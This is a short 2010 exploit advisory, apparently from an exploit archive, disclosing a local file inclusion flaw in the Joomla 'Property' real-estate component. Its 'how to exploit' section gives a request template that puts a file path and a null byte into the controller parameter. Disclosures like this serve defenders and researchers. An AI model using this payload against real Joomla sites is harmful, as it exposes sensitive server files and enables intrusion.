49 lines
No EOL
1.5 KiB
Text
49 lines
No EOL
1.5 KiB
Text
---------------------------------------------------------------------------------
|
|
Joomla Component Property Local File Inclusion
|
|
---------------------------------------------------------------------------------
|
|
|
|
Author : Chip D3 Bi0s
|
|
Group : LatinHackTeam
|
|
Email & msn : chipdebios[alt+64]gmail.com
|
|
Date : 22 March 2010
|
|
Critical Lvl : Moderate
|
|
Impact : Exposure of sensitive information
|
|
Where : From Remote
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected software description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
|
|
Application : Property
|
|
Developer : este8an
|
|
License : GPL type : Non Commercial
|
|
Date Added : 22 January 2009
|
|
Download : http://www.com-property.com/download.html?func=select&id=2
|
|
|
|
Description :
|
|
|
|
Property is a new Real Estate component 100% FREE native Joomla 1.5.
|
|
compatible with sh404sef and joomfish.
|
|
|
|
Add Profiles (Agent data: Client is a user joomla registered)
|
|
Can change permissions in User Manager to 'Agent' , then this
|
|
user can publish various properties.
|
|
|
|
Control Panel
|
|
button Create Menus automatically creates menus in FrontEnd :
|
|
All Properties,
|
|
My Short List(Favorites),
|
|
My Panel(to publish properties),
|
|
My Profile.
|
|
|
|
You can change names after created.
|
|
---------------------------------------------------------------------------
|
|
how to exploit
|
|
|
|
http://localhost/index.php?option=com_properties&controller=[LFI]%00
|
|
|
|
|
|
+++++++++++++++++++++++++++++++++++++++
|
|
[!] Produced in South America
|
|
+++++++++++++++++++++++++++++++++++++++ |